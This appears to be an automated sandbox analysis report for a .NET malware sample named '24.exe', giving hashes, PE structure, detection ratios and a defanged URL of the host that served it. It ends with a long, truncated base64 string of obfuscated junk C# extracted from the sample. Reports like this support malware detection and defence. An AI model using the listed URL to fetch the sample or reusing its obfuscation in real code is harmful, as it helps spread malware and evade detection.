MalScore
100/100

24.exe

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 15/67 Related 2135
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 319.50 KB (327168 bytes)
Compile time: 2018-04-25 07:30:19
MD5: b78cf1a172ab553e54a45a3446f909c6
SHA1: ceb9d1aaf34673d5a21261d34bf5046d230f391e
SHA256: d7e6506f8b90ca6bd1bd92356045a4356306bbaf79ca8d159ba35ab5dc0f3124
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 3 import resource relocation
First submission: 2018-04-25 17:39:05
Last submission: 2018-04-25 17:39:05
Filename detected: - 24.exe (1)
URL file hosting
hXXp://panelonetwothree.ml/simon/exp/xe/24.exeVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2018-04-25 07:59:39 [15/67] VirusTotal
PE Sections 2 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0x2ad94 175616 2f9ccd6ca811aded4953a4abfc35091d 3f37707afb8f1b1e786e2f52524fea485fb20dac
.rsrc 0x2e000 0x24b22 150528 1dea6af8ac3649f283d4dfa6ec6d28ab e7808ef2d46b05d5ab29e0e6dd61567cf5282d3d
.reloc 0x54000 0xc 512 1531db3ee80abbf40c9eead7f5868b90 b57531fb9aec7fd2cabcbfcca54871c14f4b61b4
PE Resources
Name Offset Size Language Sublanguage Data
RT_ICON 0x2ea50 1384 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_GROUP_ICON 0x2efb8 34 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0x2efdc 652 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_HTML 0x2f268 145101 LANG_GERMAN SUBLANG_GERMAN
RT_MANIFEST 0x52938 490 LANG_NEUTRAL SUBLANG_NEUTRAL
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright:
Assembly Version: 0.0.0.0
InternalName: MKI1ijQYoHseMd3R.Program.exe
FileVersion: 0.0.0.0
FileDescription:
Translation: 0x0000 0x04b0
OriginalFilename: MKI1ijQYoHseMd3R.Program.exe
ProductVersion: 0.0.0.0
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
Microsoft Visual C# / Basic .NET
Microsoft Visual Studio .NET
.NET executable
Microsoft Visual C# v7.0 / Basic .NET
File found
FIle type: Library
mscoree.dll
IP Found
No IP detected
URL(s)
No URL found
String too long
dXNpbmcgU3lzdGVtOw0KdXNpbmcgU3lzdGVtLklPOw0KdXNpbmcgU3lzdGVtLlRleHQ7DQp1c2luZyBTeXN0ZW0uUmVmbGVjdGlvbjsNCnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7DQp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQp1c2luZyBTeXN0ZW0uRHJhd2luZzsNCg0KbmFtZXNwYWNlIE5RZkluenVrcG1scQ0Kew0KCXB1YmxpYyBjbGFzcyBmYmFvZmhnRntwdWJsaWMgdm9pZCBpUnF0WHlVWSgpew0Kc3RyaW5nIFlmaU13UmtGID0gIkZTVHplU2xNIjsgCiBDb25zb2xlLldyaXRlTGluZShZZmlNd1JrRik7dXNob3J0IEFIVExsTnBOID0gNjQ1NTI7IAp1c2hvcnQgTVlkYXJWUHcgPSAzMzUyNzsgCmZsb2F0IGJQcXBDZ0tkID0gMS40MDY2NjhFLTM4RjsgCmRvdWJsZSBCZnZLdkNVbCA9IDguODU4Mjk0RS0zMjsgCndoaWxlKEJmdkt2Q1VsID09IC00LjEzMTQxOEUrMjcpew0KQmZ2S3ZDVWwgPSBNYXRoLkNlaWxpbmcoTWF0aC5Db3MoMikpOw0KaW50W10gRElBb20gPSB7IDk0ODYyNTMgLCAyNjc2IH0gOw0KUmFuZG9tIGFTWW9jPSBuZXcgUmFuZG9tKCk7DQpDb25zb2xlLldyaXRlTGluZShESUFvbVthU1lvYy5OZXh0KDAsMildKTsNCn1mbG9hdCBmQ2xpWWdjUSA9IC00LjcyMjAxOEUtMDZGOyAKc3RyaW5nIGZyekZUWk10ID0gIkRic0dRSHVvIjsgCiBDb25zb2xlLldyaXRlTGluZShmcnpGVFpNdCk7ZmxvYXQgY2FyR01HUE8gPSAtMy43MDc1OUUrMzZGOyAKDQp9cHVibGljIHZvaWQgcEFJUnRvZk4oKXsNCnVzaG9ydCBjRXRYV1JoZCA9IDg3OTg7IApsb25nIFd5bUhDRmdmID0gODI3OTk4OTM4NjQ2Njg0NDE7IApsb25nIGl3WmdqSUl5ID0gMzE2NTI3MTgyNjYzMzQ0NDE7IAppbnQgQWZaekVLbkEgPSAzOTA1NjsgCndoaWxlKEFmWnpFS25BID09IDM5MDU2KXsNCkFmWnpFS25BID0gQWZaekVLbkEgKyA3NDcxMjsNCn1sb25nIFhMRmNVd21NID0gMjU5MTA4MzQ5MjY1NDgwODI7IApmbG9hdCBHYmVjT3dNZSA9IDMuMTAzODA3RS0yMUY7IAp1aW50IE5TUG5ldkN2ID0gMjM3MjsgCnN0cmluZyB6QXNlQVlFZyA9ICJRUnZrWXJaayI7IAogQ29uc29sZS5Xcml0ZUxpbmUoekFzZUFZRWcpOw0KfXB1YmxpYyB2b2lkIEJIcEt1VlVUKCl7DQpsb25nIFZkeG11eGNqID0gMzU3NDMxNDg3OTg5ODkwMjg7IApzYnl0ZSBITmhKT0pNcCA9ICAtNTc7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBjR2pDYWlGVyA9IDMuNjQ4MjY0RS0yODsgCmRvdWJsZSBOSHl3Z2pQZWZiTGN4WW5DZnZqUyA9IE1hdGguSUVFRVJlbWFpbmRlcigzLCA0KTsNCmNHakNhaUZXID0gTkh5d2dqUGVmYkxjeFluQ2Z2alM7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShjR2pDYWlGVy5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9ZG91YmxlIGhSZWhFVWhjID0gNS44MzgzMzVFLTMzOyAKaFJlaEVVaGMgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0KQ29uc29sZS5Xcml0ZShoUmVoRVVoYy5Ub1N0cmluZygpKTtsb25nIFRQSXh4eWNGID0gMzU3ODc1OTI5NDk2NTIxNDg7IApieXRlIFN6QWd6Q1hiID0gIDE3ODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgcEpKTkppRHogPSAgODU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBCUlpuUHFCayA9ICAtNTA7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIEVNaVZ6cURoKCl7DQp1c2hvcnQgb0dnQUdMT2IgPSA2Mzc2MjsgCnNob3J0IHFoVkJ2UFhZID0gLTExNDI3OyAKIGJ5dGVbXSBxaFZCdlBYWXFoVkJ2UFhZID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJxaFZCdlBYWSIpO3N0cmluZyBySWpOcWpzQSA9ICJ6eVVGZUJSVCI7IAogQ29uc29sZS5Xcml0ZUxpbmUocklqTnFqc0EpO3VzaG9ydCBQa0RHeFBiSSA9IDI0NzU1OyAKdWxvbmcgY25TS3hWSlIgPSAxNjM3MDg5MTk1Nzg5MDc2NDsgCnVzaG9ydCBYanNXS0VWSCA9IDI0NjkxOyAKZmxvYXQgZHJ5dEFSZEMgPSAtOC42NzI3MjVFKzI3RjsgCnVzaG9ydCBGYUVmdG5DcCA9IDI0MzkyOyAKDQp9cHVibGljIHZvaWQgbWZnRkFOSlYoKXsNCmxvbmcgTURCQnVJTHogPSA5OTU3NDg4OTQwMTI1NzgwOyAKdWludCBSemVsdk9rayA9IDgxMTYwOTM5MDsgCmxvbmcgUkNrS2FPblogPSA2NjAxNzYwODcxMTY2MzcyNDsgCmZsb2F0IEx2WW1LaFVwID0gMS4xMzU4OTlFLTA5RjsgCmRvdWJsZSBkQm5pcWVjdiA9IDUuODQzNjE0RS0wNjsgCmlmKGRCbmlxZWN2ID09IDEuODIxNjE5RS0zMSl7DQpkQm5pcWVjdiA9IE1hdGguQ2VpbGluZyhNYXRoLlNpbmgoLTUpKTsNCg0KfXVpbnQgZ1JGY0ZzWGwgPSA4NTQ0OyAKc3RyaW5nIGlGWVZISHRoID0gIkp0UXpNaEZuIjsgCiBDb25zb2xlLldyaXRlTGluZShpRllWSEh0aCk7c2hvcnQgaUlQRkR3QmsgPSAyMTQ5MjsgCiBieXRlW10gaUlQRkR3QmtpSVBGRHdCayA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaUlQRkR3QmsiKTsNCn1wdWJsaWMgdm9pZCBqR1p1THBDbSgpew0KdXNob3J0IEpjaVdHWEd0ID0gNTk5MjQ7IAppbnQgeGVldk13QXkgPSA0NTQ4MDY7IAp3aGlsZSh4ZWV2TXdBeSA9PSA0NTQ4MDYpew0KeGVldk13QXkgKz0gMTMxNDkwOw0KfWxvbmcgS2RicFdGQkogPSA4NzQxMDM1OTIwNzgwMTMyNTsgCnN0cmluZyBGT2FyWUxyayA9ICJ2VmxDSGhzbyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoRk9hcllMcmspO2ludCBqTVdFWGlhTSA9IDM1OyAKaWYoak1XRVhpYU0gPT0gOTUwMTYzKXsNCmpNV0VYaWFNID0gODc2Mzc1Ow0KfWJ5dGUgYWlhcm5FT0kgPSAgNzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCB2QUNqeUFoYSA9IC03MTMyOyAKIGJ5dGVbXSB2QUNqeUFoYXZBQ2p5QWhhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ2QUNqeUFoYSIpO3VzaG9ydCBodElWdm5IbCA9IDUxNjc0OyAKDQp9cHVibGljIHZvaWQgT1B5UmJJWk0oKXsNCnVsb25nIHBQcnJOQkhNID0gNjg1NDc2NjE1NjEyOTU3OTU7IApzYnl0ZSBiVFl2TUFaVCA9ICAtOTI7IAogQ29uc29sZS5SZWFkTGluZSgpO3Nob3J0IGhldnNKRmpBID0gLTczOyAKIGJ5dGVbXSBoZXZzSkZqQWhldnNKRmpBID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJoZXZzSkZqQSIpO2RvdWJsZSBrSUtSWWZEdSA9IC0yLjMzMTcyMkUtMzE7IAp3aGlsZShrSUtSWWZEdSA9PSAyLjEyOTE1NUUtMTYpew0Ka0lLUllmRHUgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW4oMSkpOw0Kb2JqZWN0IGRMcFRjeVhHVWdYbnhUc1JrbDsNCmRMcFRjeVhHVWdYbnhUc1JrbCA9IDIuNDc0Nzc2RSszMDsNCn1ieXRlIHZBcHhnVHdaID0gIDg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCBXcVhqc2pwcyA9IDE4ODQxOyAKIGJ5dGVbXSBXcVhqc2pwc1dxWGpzanBzID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJXcVhqc2pwcyIpO2xvbmcgS2x4bVNjV1UgPSAxODc1MDM4MzcxMzIyNjg4OTsgCnVzaG9ydCBZZkZYTnhleSA9IDE3NDQ3OyAKDQp9cHVibGljIHZvaWQgaHhmS3lHTnMoKXsNCmJ5dGUgSmNnT0FUSmwgPSAgMTg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBDa1ZRaFZ3VCA9ICA5MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2J5dGUgcnJITkx6cXUgPSAgLTEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IFBOUWhyemVhID0gNDM7IAp3aGlsZShQTlFocnplYSA9PSA0Myl7DQpQTlFocnplYSArPSA0NjYyNzg7DQp9bG9uZyBZSmRmRkNIcyA9IDgwNzQzMjY2NDkxNDUzMTUyOyAKYnl0ZSBybU1uWmF5dyA9ICAxMjA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSBrRmtCdk94QSA9ICA4MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2J5dGUgTEN2RkJwU3UgPSAgLTgyOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn0KfSBwdWJsaWMgY2xhc3MgT3RYa1d5VmF7cHVibGljIHZvaWQgUEl0SGFPcVUoKXsNCnVzaG9ydCBwUVl3TG9CcyA9IDQ1MTY0OyAKZG91YmxlIExrQU1QZHRYID0gMS4yMzMyMTdFKzI1OyAKTGtBTVBkdFggPSBNYXRoLlNxcnQoNCk7DQpDb25zb2xlLldyaXRlTGluZShMa0FNUGR0WC5Ub1N0cmluZygpKTt1aW50IGxVUldXRURnID0gNTg0OTYwOTQ7IAp1aW50IFNrWmtxbXhnID0gMjM7IApzaG9ydCBrWEhFSVVQUyA9IDI1NTE1OyAKIGJ5dGVbXSBrWEhFSVVQU2tYSEVJVVBTID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJrWEhFSVVQUyIpO2J5dGUgU1RJS2d2Z3IgPSAgNjc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzaG9ydCBtVGRzbE5uayA9IDQyOTsgCiBieXRlW10gbVRkc2xObmttVGRzbE5uayA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibVRkc2xObmsiKTt1aW50IHlkSHNBdkxQID0gODQ2NDYzMTM5OyAKDQp9cHVibGljIHZvaWQgcHdESlZDZHUoKXsNCmZsb2F0IEtvZHRkU0F2ID0gLTYuMzIyNDk3RjsgCnVzaG9ydCBseVFIbnR6ayA9IDgwNzk7IApmbG9hdCB4UktBY0VubyA9IDcuMDgzMzQ5RS0wN0Y7IApzaG9ydCBnVHpEUnFYRyA9IC0yMDUwOyAKIGJ5dGVbXSBnVHpEUnFYR2dUekRScVhHID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnVHpEUnFYRyIpO2Zsb2F0IFFtYUVGSE9DID0gLTIuMzM1OTc0RS0zN0Y7IAp1bG9uZyBRZENRRW1TdyA9IDUwMTk3MTQxNDA4ODcwNDI0OyAKdWxvbmcgWUdqbWd5TUQgPSA0ODAzMDMxNDA2Njg5MzUxMDsgCnNieXRlIGhrdlRQblROID0gIC0xMDE7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIENPd0x1SENRKCl7DQppbnQgclROeEViS2sgPSAyNjA0OTcyODQ7IAp3aGlsZShyVE54RWJLayA9PSAyNjA0OTcyODQpew0KclROeEViS2sgPSByVE54RWJLayArIDYyMTcwMTsNCn1zYnl0ZSBEbnF5dmtpQSA9ICAtMTIxOyAKIENvbnNvbGUuUmVhZExpbmUoKTt1c2hvcnQgaEpqS2NiSXMgPSA0Mjk2ODsgCnNob3J0IEtJYnV2UkRUID0gLTI0NzcyOyAKIGJ5dGVbXSBLSWJ1dlJEVEtJYnV2UkRUID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJLSWJ1dlJEVCIpO2RvdWJsZSBnc0x2Wk94cyA9IC0xLjMxMDEzNkUtMjc7IApnc0x2Wk94cyA9IE1hdGguUG93KGRvdWJsZS5OZWdhdGl2ZUluZmluaXR5LCAyKTsNCnRyeXsNCmludCB3blpibkRlQ1NURWpwWVNhcmVVZENpR0YgPSA4MzkwMDQ2Ow0KaWYod25aYm5EZUNTVEVqcFlTYXJlVWRDaUdGID09IDYxNzEwKXsNCnduWmJuRGVDU1RFanBZU2FyZVVkQ2lHRisrOw0KfWVsc2V7DQp3blpibkRlQ1NURWpwWVNhcmVVZENpR0YtLTsNCkNvbnNvbGUuV3JpdGUod25aYm5EZUNTVEVqcFlTYXJlVWRDaUdGLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn11bG9uZyByYnpLTWxNYSA9IDgzOTk4NjY4MjA0ODA3NjExOyAKc2hvcnQgaUpRSGZ1R1IgPSAxNTA4NDsgCiBieXRlW10gaUpRSGZ1R1JpSlFIZnVHUiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaUpRSGZ1R1IiKTtieXRlIEdIbFl2Zm14ID0gIDIyODsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIElobGRQSmViKCl7DQp1c2hvcnQgWkNnZXRqTm0gPSAxODcyMzsgCnVsb25nIHhqY0hOdkt6ID0gMTUxMzc5MTQ4NjQ1NjYwNjQ7IApieXRlIHNkd3NTRUZHID0gIDE3NzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBRZlpEdWZxQyA9ICJyQ0tRYk9PdiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUWZaRHVmcUMpO2RvdWJsZSB2ZWpGWlBqciA9IC0xNC4xMDMxMjsgCmlmKHZlakZaUGpyID09IDEuODAzMjg1RSsxOCl7DQpkb3VibGUgeVZRSHREVEl6b0lFViA9IC0zLjE2MzgxOUUtMjU7DQp2ZWpGWlBqciA9IE1hdGguUm91bmQoeVZRSHREVEl6b0lFVik7DQpvYmplY3QgdmJlSUtmUnRLUlpBUEx1SlV6SG9qVjsNCnZiZUlLZlJ0S1JaQVBMdUpVekhvalYgPSAtMS42NTUyMTZFKzM3Ow0KfXVsb25nIExzZVV4alNoID0gNzU3NzI4MTgxNjA0MjAyODI7IApzaG9ydCBsUWhlQkdQYSA9IC00NzU3OyAKIGJ5dGVbXSBsUWhlQkdQYWxRaGVCR1BhID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJsUWhlQkdQYSIpO2xvbmcgYkRWRU1GZlAgPSA3MDkzMDgzMzkzMzA4MzY3MDsgCg0KfXB1YmxpYyB2b2lkIEhyTlNIakxDKCl7DQp1aW50IHdBeVRCUk1FID0gNjE0NDAzOyAKdXNob3J0IERmR214blJ3ID0gMjYyMDQ7IApkb3VibGUgUnBIZmZrdkYgPSAtMS4yMTA0OTZFLTIxOyAKUnBIZmZrdkYgPSBNYXRoLkNlaWxpbmcoTWF0aC5Bc2luKDAuMikpOw0Kc3RyaW5nIHhMem1MUmd6ID0gIm5vc2F2UWJ2IjsgCiBDb25zb2xlLldyaXRlTGluZSh4THptTFJneik7ZG91YmxlIHRManFNbkl1ID0gLTEuNjgyNTA5RSsxNTsgCndoaWxlKHRManFNbkl1ID09IC0xLjg2NzI1NkUrMjgpew0KdExqcU1uSXUgPSBNYXRoLkNlaWxpbmcoTWF0aC5Bc2luKDAuMikpOw0KdHJ5ew0KDQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfWZsb2F0IG9iaFdEaEF2ID0gMS43MDExNjFFLTMzRjsgCmZsb2F0IFJNYmt3TFVrID0gOS41MDM0MTlFKzI4RjsgCmxvbmcga09vS21tUk4gPSAxNzg3NTcxODM0ODMwODQ4OTsgCg0KfXB1YmxpYyB2b2lkIHRwR01oR2prKCl7DQp1aW50IEFjVkdlWm1iID0gNjg1MjgxODU7IAp1c2hvcnQgQ0ZHYU5mZEogPSA0MDA7IApzdHJpbmcgZ29Md3dDY08gPSAidFdueEVxVnIiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGdvTHd3Q2NPKTtsb25nIERpTWtzbEVRID0gNjkxNDYzMzcyNTA3NjI5MDI7IAp1c2hvcnQgR1VQcXNxc1MgPSA0NTg4OTsgCnVsb25nIGdmRlNNZ0NoID0gMTcxNTk4NjA0Njk2NTIyMzA7IAp1aW50IHlNVVlGZ0lBID0gMjA1NjgwNjQ1OyAKbG9uZyBjeUVJeEROTCA9IDkzNDMxODAzMTcxOTY4Njk7IAoNCn1wdWJsaWMgdm9pZCBycGNnaVJ3RCgpew0KZmxvYXQgaUxOeERnc2YgPSAtMy42NTQ0MzVFKzExRjsgCnN0cmluZyB3UFN2cEp3ZyA9ICJtUnZ6U2xHeSI7IAogQ29uc29sZS5Xcml0ZUxpbmUod1BTdnBKd2cpO2ludCBJSkxVZ2dtaSA9IDQ1MjM3NjQwMTsgCndoaWxlKElKTFVnZ21pID09IDQ1MjM3NjQwMSl7DQpJSkxVZ2dtaSA9IDExOTc2OTsNCn11aW50IHlCR1hrQnJuID0gNjA1MzsgCmRvdWJsZSBpZG5LRVVlUiA9IC0xLjE5NTE2MUUrMzQ7IAp3aGlsZShpZG5LRVVlUiA9PSAtMi44MDE2ODhFKzIyKXsNCmRvdWJsZSB5aEx4UFFGTXNSID0gMTMuNjA2NzsNCmlkbktFVWVSID0gTWF0aC5Sb3VuZCh5aEx4UFFGTXNSICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCkNvbnNvbGUuUmVhZEtleSgpOw0KfWJ5dGUgZXRJVHNJb3UgPSAgMTUzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIEpCZW9BbFhKID0gInhWWXJSSk1zIjsgCiBDb25zb2xlLldyaXRlTGluZShKQmVvQWxYSik7dXNob3J0IGRjTUVwTFhsID0gMjM5NTsgCg0KfXB1YmxpYyB2b2lkIGRhSnRWRmlwKCl7DQpzdHJpbmcgeFJ0c3dGZmsgPSAiQWpGTU9XU2IiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHhSdHN3RmZrKTtkb3VibGUgT2hoVFRzb3IgPSA1LjAyMDI3N0UrMTQ7IAppZihPaGhUVHNvciA9PSAtMi40OTAxOTFFLTE4KXsNCmRvdWJsZSBZR01melFRa2ZlbG9CID0gNTguMjM2MTE7DQpDb25zb2xlLldyaXRlKE9oaFRUc29yLlRvU3RyaW5nKCkpOw0KfXVzaG9ydCBMWVhnaW9aUCA9IDE2NDkzOyAKdXNob3J0IEZvcHNQR254ID0gMjU2OyAKZG91YmxlIE1tdFhkTFRTID0gMzE1NTUxNDsgCndoaWxlKE1tdFhkTFRTID09IC0zLjIxMzQ0NkUtMzEpew0KTW10WGRMVFMgPSBNYXRoLlBvdygyLCAyLjEpOw0KIGJvb2w/IHFyRmdwbW9EVGt0enl6V3d1cktlaCA9IG5ldyBib29sPygpOw0KcXJGZ3Btb0RUa3R6eXpXd3VyS2VoID0gdHJ1ZTsNCn1sb25nIGFWSmV0a0FRID0gNDc5Nzg2MjkxMzkyMjg2NDc7IApsb25nIGt2TUN5em5mID0gNzI1NzM1MzkxNzM4MDY5ODY7IApzaG9ydCBleWRPd1ZncCA9IC0yMjA4NTsgCiBieXRlW10gZXlkT3dWZ3BleWRPd1ZncCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZXlkT3dWZ3AiKTsNCn0KfSBwdWJsaWMgY2xhc3MgQVRZUFpZcGJ7cHVibGljIHZvaWQgVkhZWXFXY1goKXsNCnNob3J0IElBVWZPT0xBID0gMjk3NDM7IAogYnl0ZVtdIElBVWZPT0xBSUFVZk9PTEEgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIklBVWZPT0xBIik7c3RyaW5nIGxrT0NpaHl2ID0gImpLUFNsaUZGIjsgCiBDb25zb2xlLldyaXRlTGluZShsa09DaWh5dik7dXNob3J0IGVEdk1NRlhUID0gNDY3Njc7IApsb25nIGRZQUNHRW5WID0gNzU4MDk4OTI2OTE0NjY1OTE7IAp1bG9uZyBPWGNnanRXRyA9IDg5MTcwNzk0NzI5NzE4NDYwOyAKYnl0ZSBISGdnY3RjcyA9ICAyMzY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgT1V2Z3VGb3EgPSAzNzI2NTsgCnVpbnQgc3hQYUdlTWMgPSA5NDcxOyAKDQp9cHVibGljIHZvaWQgTlNTeHZNd3QoKXsNCnNob3J0IHpnSVBoU3lJID0gLTE5NjA2OyAKIGJ5dGVbXSB6Z0lQaFN5SXpnSVBoU3lJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ6Z0lQaFN5SSIpO2Zsb2F0IHBjZXh0YVZEID0gLTMuMDUxNTk2RSszMEY7IAp1c2hvcnQgQVFiWWhYZEYgPSAzMDMyMTsgCnNob3J0IGRqb2dEYU5hID0gLTEwODUzOyAKIGJ5dGVbXSBkam9nRGFOYWRqb2dEYU5hID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJkam9nRGFOYSIpO3N0cmluZyB4UGdRbkFXViA9ICJ1QklqV3BPbyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoeFBnUW5BV1YpO2J5dGUgTmJJY3ZEU2UgPSAgNjE7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIG9xZWpyY0Z2ID0gIDIzNzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Nob3J0IGdVbVJWUGZWID0gLTk1NzsgCiBieXRlW10gZ1VtUlZQZlZnVW1SVlBmViA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZ1VtUlZQZlYiKTsNCn1wdWJsaWMgdm9pZCBEd09TY1RUdygpew0Kc2hvcnQgYW1tT01uc1QgPSAtMzM0NzsgCiBieXRlW10gYW1tT01uc1RhbW1PTW5zVCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiYW1tT01uc1QiKTtzdHJpbmcgb3NQTE9HWkIgPSAiREZQYVl2SGUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKG9zUExPR1pCKTtzdHJpbmcgek1waWhWTEEgPSAiVUZDTHZmbGciOyAKIENvbnNvbGUuV3JpdGVMaW5lKHpNcGloVkxBKTtieXRlIExJdFZsZURBID0gIDIxNzsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIG5IcGR2T2ZqID0gIC0xMDU7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBISnJqWHB5WCA9IC0xLjA0MDYxMkUrMjg7IApkb3VibGUgSkt1VkFsS2h5S1Vtc01FcHZPWUJnID0gLTkuNjM1NDQ5RS0xMjsNCnNieXRlIHJ3S3ZTd1JYID0gIC0xMDg7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBsaW1UenFQTSA9IDEuNTA1MzcxRSsyMDsgCndoaWxlKGxpbVR6cVBNID09IC0zLjE1Nzc5OUUrMDcpew0KbGltVHpxUE0gPSBNYXRoLkNlaWxpbmcoTWF0aC5BY29zKDApKTsNCm9iamVjdCBncGFMTk15Q3NLVExOalJUcDsNCmdwYUxOTXlDc0tUTE5qUlRwID0gNS43ODEyNjVFLTMyOw0KfQ0KfXB1YmxpYyB2b2lkIG9Rd2ZLU3JqKCl7DQpzdHJpbmcgdnhZaGRHZ3kgPSAiVWNnTHlJRWoiOyAKIENvbnNvbGUuV3JpdGVMaW5lKHZ4WWhkR2d5KTt1bG9uZyBnZWlXeml6eCA9IDU5NTI1ODA5Njk1MTc3NTY7IAp1bG9uZyBsbkRTT1JubyA9IDgxMjMzMjQxNzg3MDIzMDU3OyAKc3RyaW5nIEhyU2xPbHBWID0gImtVY0JXSG1YIjsgCiBDb25zb2xlLldyaXRlTGluZShIclNsT2xwVik7dWludCBSUGVOc3drZSA9IDg3NzE5MTsgCnVsb25nIEFsR3JJWVFiID0gNDY1NjkwNTA4Njg2NDczODY7IApieXRlIHp5RE5EQVdjID0gIDEyOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgT3FHemlVYk0gPSAgMjIxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgQkxrTXFzRUQoKXsNCmRvdWJsZSBHQkZETklSSyA9IDguNTEyODI2RS0zNTsgCndoaWxlKEdCRkROSVJLID09IDQuODAyMDE1RS0wNyl7DQpHQkZETklSSyA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbigxKSk7DQp0cnl7DQppbnQgc3B1Qk5UbVJFTHFSY0tkZ3ZobSA9IDIxMzAzMjg7DQppZihzcHVCTlRtUkVMcVJjS2RndmhtID09IDQ3NTE0KXsNCnNwdUJOVG1SRUxxUmNLZGd2aG0rKzsNCn1lbHNlew0Kc3B1Qk5UbVJFTHFSY0tkZ3ZobS0tOw0KQ29uc29sZS5Xcml0ZShzcHVCTlRtUkVMcVJjS2RndmhtLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1zYnl0ZSBiQlNRY2RrTyA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBWT2lrS0dQciA9IC0xLjA3NDI5OEUtMjFGOyAKc2J5dGUgZVhjb1J4TXggPSAgLTEwMzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgY0RVQ0hxR0ggPSAzNTg2MDg1NzcyNDg1NDI2OyAKc2hvcnQgVUpVWHprbW0gPSAtMTkwNzQ7IAogYnl0ZVtdIFVKVVh6a21tVUpVWHprbW0gPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIlVKVVh6a21tIik7c2J5dGUgVWxySndGY04gPSAgMTE2OyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBHWlNnaVBiSCA9IC0xLjI2OTIzOUUtMDZGOyAKDQp9cHVibGljIHZvaWQgYUJiYmdmdUUoKXsNCnN0cmluZyBRZlFXUndwTSA9ICJ6bEFIWnZCYSI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUWZRV1J3cE0pO2Zsb2F0IEZoWWRMekxaID0gMS4xNTQwNDZFLTM3RjsgCmxvb